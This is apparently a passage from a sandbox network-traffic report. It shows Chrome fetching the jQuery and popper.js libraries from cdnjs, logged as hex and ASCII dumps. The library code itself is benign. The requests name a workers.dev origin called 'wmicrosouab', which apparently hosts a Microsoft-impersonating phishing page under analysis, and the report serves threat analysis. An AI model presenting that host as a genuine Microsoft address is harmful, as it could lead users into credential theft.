3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49727	104.17.25.14	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:55 UTC	721	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://wmicrosouab-4ba8.udydzj.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:56 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:56 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 107219 Expires: Sun, 13 Apr 2025 23:33:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dvfh031M4W0QzcqFfUd1SwmIOe5ZiYh%2FD%2FyzrIgIb16Mnmuua%2BkEAprzAv25c20Ig5NO0U2HBPhp3hSrfCwEM26TB5SlduMVXdpOd1OOEYr4eU55vUzOdcoVIO8eEHv5jpgYCQ1B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8791a951ad910a03-LAS alt-svc: h3=":443"; ma=86400
2024-04-23 23:33:56 UTC	411	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a Data Ascii: .nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 Data Ascii: ar o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 Data Ascii: p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 Data Ascii: t:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.widt
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 Data Ascii: warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instanc
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 Data Ascii: .options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passiv
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 Data Ascii: n o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retur
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 Data Ascii: n''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G
